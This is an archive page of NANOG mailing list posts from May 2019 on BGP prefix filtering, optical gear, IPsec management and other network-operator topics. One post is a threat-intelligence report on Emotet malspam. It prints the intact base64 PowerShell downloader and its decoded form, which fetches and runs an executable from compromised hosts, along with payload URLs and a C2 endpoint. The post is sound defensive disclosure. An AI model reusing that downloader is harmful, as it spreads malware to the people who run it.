May 2019 - Test - lists.nanog.org

Re: BGP prefix filter list
by John Kristoff 31 May '19

31 May '19

On Mon, 20 May 2019 23:09:02 +0000 Seth Mattinen <sethm(a)rollernet.us> wrote: > A good start would be killing any /24 announcement where a covering > aggregate exists. I wouldn't do this as a general rule. If an attacker knows networks are 1) not pointing default, 2) dropping /24's, 3) not validating the aggregates, and 4) no actual legitimate aggregate exists, (all reasonable assumptions so far for many /24's), then they have a pretty good opportunity to capture that traffic. John

17 31

Flexible OTN / fractional 100GbE
by Jérôme Nicolle 31 May '19

31 May '19

Hi NaNOG ! I'm looking for a muxponder that would take OTU4s on the network side and provide 10/40/100GbE on the client side, with some kind of oversubscription, as to provide a "fractional 100GbE" e.g. starting with 30-60Gbps commit that could be upgraded to 100GbE when network capacity is available. Is that something feasible at a decent price ? I've read that Broadcom' StrataDNX (Qumran / Jericho) chips have OTN support in addition to ethernet now, is there some vendor who leverages this, preferably with OCP gear ? Thanks ! -- Jérôme Nicolle +33 6 19 31 27 14

7 15

Re: BGP prefix filter list
by Scott Weeks 31 May '19

31 May '19

--- valdis.kletnieks(a)vt.edu wrote: From: "Valdis Klētnieks" <valdis.kletnieks(a)vt.edu> On Thu, 30 May 2019 16:07:53 -0700, "Scott Weeks" said: > Having been on quite a few networks in my career, > (eyeball/enterprise) I'd say many struggle with > having a "single and clearly defined routing policy" Which part do they find problematic, the "single" part, or the "clearly defined" part? ;) ---------------------------------------------- Both. Two guys have authority over different parts of a network. They don't agree and neither budges. The manager is not technical (at all) and is hands off on decisions like those. I see fights like this in configs all the time. You look at the configs and go WTF, but after learning what happened in the past between those two folks I go; "Ok, NOW I get it." And for 'clearly defined'...well...to put it politely 'clearly defined' is subjective. ;) I'm OCD about KISS, documentation and consistency, but many folks are not. They want it their way, regardless of what is already there, and they like to turn knobs and not let others know what knobs they turned. You wouldn't believe what we see out here on the raggedy edges of the internet. I started my career in the 90s with a company called Digital Island. There were extremely competent folks building it. Every thing was KISS and consistent. It was a beautiful DFZ network. I miss that. 2001 was the last time I saw it. Been on the ragged edge ever since. scott

1 0

Re: BGP prefix filter list
by Scott Weeks 31 May '19

31 May '19

--- bellman(a)nsc.liu.se wrote: From: Thomas Bellman <bellman(a)nsc.liu.se> ... prefixes with a "single and clearly defined routing policy" ------------------------------------------ Having been on quite a few networks in my career, (eyeball/enterprise) I'd say many struggle with having a "single and clearly defined routing policy" >;-) <=== evil grin scott

2 1

Paging voip.ms management
by Eric Kuhnke 30 May '19

30 May '19

After attempting several times, and failing to get something resembling a real RFO from your first tier customer support/ticket answering staff, I am now looking for a person in a position of responsibility at voip.ms. Please contact me off list.

1 0

BGP prefix filter list
by Baldur Norddahl 30 May '19

30 May '19

Hello This morning we apparently had a problem with our routers not handling the full table. So I am looking into culling the least useful prefixes from our tables. I can hardly be the first one to take on that kind of project, and I am wondering if there is a ready made prefix list or similar? Or maybe we have a list of worst offenders? I am looking for ASN that announces a lot of unnecessary /24 prefixes and which happens to be far away from us? I would filter those to something like /20 and then just have a default route to catch all. Thanks, Baldur

31 57

Mexico
by Mehmet Akcin 30 May '19

30 May '19

Hi there I am looking for dark fibre in several markets in México and waves from mexico city to LA and Dallas. If you know someone in wholesale who can help, please contact me offlist Thank you. Mehmet -- Mehmet +1-424-298-1903

2 1

VPN / IPSEC Management
by Chris Knipe 30 May '19

30 May '19

Hi Guys, Quick question... In orgs using frequent and large amounts of IPSec, what are you guys using in terms of configuration management / documentation? Especially in terms of Phase 2 and documenting what the relevant Phase 2s are for? Is it a matter of text files / spreadsheets, or are there something out there to manage this with? -- Regards, Chris Knipe

2 1

29 May 2019: Emotet malspam: 'Mykolab Ref Id: I32560' [Was: Re: Spamming of NANOG list members]
by Paul Ferguson 30 May '19

30 May '19

*Just an FYI, the obfuscated URLs and IPs below are malicious.* This is apparently (?) part of a wave of spoofed malspams impersonating messages with ‘weaponized' attachments sent to the NANOG (North American Network Operators Group) mailing list. Background: https://mailman.nanog.org/pipermail/nanog/2019-May/101140.html Details: Date: Wed, 29 May 2019 10:03:04 -0500 From: "NANOG" <Helene.Rouleau(a)paral.ca> To: "Paul Ferguson" <fergdawgster(a)mykolab.com> Subject: Mykolab Ref Id: I32560 X-Authenticated-Sender: s214.panelboxmanager.com Return-Path: <Helene.Rouleau(a)paral.ca> Attachment: "ATTACHMENT 654860 I32560.doc" MD5: 49fbc31d5e46d83c4741d64a1c268e8d SHA-1: 62b00133e2a78063b76a473a9c0b42a00b3042b8 SHA256: 8c401ced381ce742105acae9b3d39d2f01681d4e3c77be9c899f5fa332aab5f5 File Type: MS Word Document Magic CDF V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: North Dakota, Subject: Maine, Author: Darrell Hammes, Comments: Tunisia policy, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Tue May 28 12:55:00 2019, Last Saved Time/Date: Tue May 28 12:55:00 2019, Number of Pages: 1, Number of Words: 15, Number of Characters: 90, Security: 0 SSDeep: 3072:t1b77HUUUUUUUUUUUUUUUUUUUTkOQePu5U8qSp8ALPmiuVvbIF/j9G5:Pb77HUUUUUUUUUUUUUUUUUUUT52VP61Z TRiD: Microsoft Word document (54.2%) Microsoft Word document (old ver.) (32.2%) Generic OLE2 / Multistream Compound File (13.5%) File Size: 136.38 KB Analysis: VT: https://www.virustotal.com/#/file/8c401ced381ce742105acae9b3d39d2f01681d4e3… HA: https://www.hybrid-analysis.com/sample/8c401ced381ce742105acae9b3d39d2f0168… Joe Sandbox: https://www.joesandbox.com/analysis/136644/0/executive app.anny.run: https://app.any.run/tasks/18d747ef-42d6-40e8-b496-6eb54c5f5dac Embedded Powershell script does: WINWORD.EXE /n "C:\ATTACHMENT654860I32560.doc" (PID: 3256) powershell.exe powershell -nop -e JABDAGwASQBFAFkAawAyAD0AJwBhAEoATgBNAEsARgAzAGwAJwA7ACQAUgB3AFkASwBDAHYATwAgAD0AIAAnADkAMwA2ACcAOwAkAFEAQgBWAGEAZAA5AD0AJwBMADgASABEAHoATgAnADsAJAB3AFgAcABiAFYAcAA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAUgB3AFkASwBDAHYATwArACcALgBlAHgAZQAnADsAJABHAEEAaQB6AHoANwA9ACcARABPAEkAbwBTAFQAJwA7ACQAVABiADkARQB1ADIASQByAD0ALgAoACcAbgBlAHcALQAnACsAJwBvAGIAagAnACsAJwBlAGMAdAAnACkAIABOAGUAdABgAC4AVwBlAEIAQwBgAEwAYABJAEUATgB0ADsAJABrAHUAVwBfAG8ANwBTADUAPQAnAGgAdAB0AHAAOgAvAC8AYwBlAG8ALgBjAGEAbABjAHUAcwAuAGMAbwBtAC8AcABvAHMAdABuAGUAdwBvAC8AUgB3AGgAdgBPAGwAWgBJAHMALwBAAGgAdAB0AHAAOgAvAC8AbABhAHMAdABtAGkAbgB1AHQAZQBsAG8AbABsAGkAcABvAHAALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAGEARQBRAGwAcABwAGQAbABmAG8ALwBAAGgAdAB0AHAAOgAvAC8AawBhAHMAaABtAGkAcgBoAGEAYwBrAGUAcgBzAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwB3AFEAWABoAG8AcgB0AFMAZgBKAC8AQABoAHQAdABwADoALwAvAG8AbQBlAGcAYQBjAG8AbgBzAHUAbAB0AG8AcgBpAGEAYwBvAG4AdABhAGIAaQBsAC4AYwBvAG0ALgBiAHIALwBzAGkAdABlAC8AdwBBAEsAawBiAE8ARQB3AHkALwBAAGgAdAB0AHAAOgAvAC8AbgBvAHQAdABzAHAAYwByAGUAcABhAGkAcgAuAGMAbwAuAHUAawAvAG4AeQBlAC8AaABLAFoAbABEAHYAUABmAHkALwAnAC4AUwBQAEwAaQBUACgAJwBAACcAKQA7ACQAbwA3AFYAQgBRAHQAbABiAD0AJwBPADEAWQBHAGIAMABwACcAOwBmAG8AcgBlAGEAYwBoACgAJAB6ADMAUgB2ADMAagB2ACAAaQBuACAAJABrAHUAVwBfAG8ANwBTADUAKQB7AHQAcgB5AHsAJABUAGIAOQBFAHUAMgBJAHIALgBEAG8AdwBOAEwATwBhAGQARgBJAEwARQAoACQAegAzAFIAdgAzAGoAdgAsACAAJAB3AFgAcABiAFYAcAApADsAJABpAFkAcABPAFkAYwBMAFYAPQAnAFgAMAA2AGoAUwBSADIANAAnADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0AJwArACcASQB0AGUAJwArACcAbQAnACkAIAAkAHcAWABwAGIAVgBwACkALgBsAEUAbgBnAFQASAAgAC0AZwBlACAAMgA5ADcAOAAwACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBTAFQAQQBSAFQAKAAkAHcAWABwAGIAVgBwACkAOwAkAFYASABUAE8AbwB1AHcAPQAnAEkAXwBXAGsAMgBiAEgAcgAnADsAYgByAGUAYQBrADsAJABFAFgAWABtAEIAbQBYAD0AJwByAGsARgBLAEMAVAAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABTAEEAdQB0AGEAWQA9ACcAWQBuAFYAcQAzAEoASgAnAA== (PID: 2624,Additional Context: $ClIEYk2='aJNMKF3l';$RwYKCvO = '936';$QBVad9='L8HDzN';$wXpbVp=$env:userprofile+'\'+$RwYKCvO+'.exe';$GAizz7='DOIoST';$Tb9Eu2Ir=.('new-'+'obj'+'ect') Net`.WeBC`L`IENt;$kuW_o7S5='http://ceo.calcus[.]com/postnewo/RwhvOlZIs/@http://lastminutelollipop[.]com…'.SPLiT('@');$o7VBQtlb='O1YGb0p';foreach($z3Rv3jv in $kuW_o7S5){try{$Tb9Eu2Ir.DowNLOadFILE($z3Rv3jv, $wXpbVp);$iYpOYcLV='X06jSR24';If ((&('Get-'+'Ite'+'m') $wXpbVp).lEngTH -ge 29780) {[Diagnostics.Process]::START($wXpbVp);$VHTOouw='I_Wk2bHr';break;$EXXmBmX='rkFKCT'}}catch{}}$SAutaY='YnVq3JJ') 936.exe (PID: 2888) 24/72 936.exe --26d066e0 (PID: 2932) 24/72 enablerouting.exe (PID: 272) 'Payload quintet' from script above (compromised pages): http://ceo.calcus[.]com/postnewo/RwhvOlZIs/ http://lastminutelollipop[.]com/wp-admin/aEQlppdlfo/ http://kashmirhackers[.]com/wp-admin/wQXhortSfJ/ http://omegaconsultoriacontabil[.]com.br/site/wAKkbOEwy/ http://nottspcrepair[.]co.uk/nye/hKZlDvPfy/' Observed network activity: GET ceo.calcus[.]com/postnewo/RwhvOlZIs/ GET lastminutelollipop[.]com/wp-admin/aEQlppdlfo/ POST 31.12.67[.]62:7080/acquire/tlb/ringin/ Non-authoritative answer: Name: ceo.calcus[.]com Address: 68.183.65[.]234 Non-authoritative answer: Name: lastminutelollipop[.]com Address: 158.69.127[.]22 Non-authoritative answer: Name: kashmirhackers[.]com Address: 173.249.2[.]31 Non-authoritative answer: Name: omegaconsultoriacontabil[.]com.br Address: 74.63.242[.]18 Non-authoritative answer: Name: nottspcrepair[.]co.uk Address: 185.38.44[.]163 AS | IP | AS Name 14061 | 68.183.65[.]234 | DIGITALOCEAN-ASN - DigitalOcean, LLC, US (shared hosting) 16276 | 158.69.127[.]22 | OVH, FR (shared hosting) 51167 | 173.249.2[.]31 | CONTABO, DE (shared hosting) 46475 | 74.63.242[.]18 | LIMESTONENETWORKS - Limestone Networks, Inc., US (shared hosting) 33182 | 185.38.44[.]163 | DIMENOC - HostDime.com, Inc., US (shared hosting) 44099 | 31.12.67[.]62 | RUNISO-AS RUNISO Autonomous System, FR (appears to be stand-alone IP, no PTR record) FYI, - ferg — Paul Ferguson Principal, Threat Intelligence Gigamon Seattle, Washington, USA

3 3

Internet emergency alerts: Alexa now supports "Announcements"
by Sean Donelan 29 May '19

29 May '19

Amazon has announced a new API for its voice services, i.e. Alexa. This enables one-way Alexa announcements within a household and from Apps without prompting by the user. Although the Amazon blog did not comment about the use of Amazon Announcements concerning Emergency Alert System broadcasts (e.g. tornado warnings, evacuation alerts, wildfires, etc), this newe API may solve the previous constrain that Alexa devices only responded to user interaction. Previously, Alexa speakers could tell you there was a tornado warning when you asked for the current weather or passively show weather warnings on Amazon Echo Show screens. Alexa would not proactively announce warnings until you prompted it. I don't know if Amazon will leave it up to 3rd parties to create Apps with emergency alert announcements. https://developer.amazon.com/blogs/alexa/post/c291e779-366b-4e7f-93e2-782b2… Google Search passively shows some emergency alerts at the top of its search pages based on your location. Google Assistant devices do not appear to react to emergency alerts. Netflix, Hulu and other streaming apps are likely the wrong layer for emergency alerts. Alerts should likely be part of the device management layer, to provide consistent behavior across apps instead of app by app.

1 0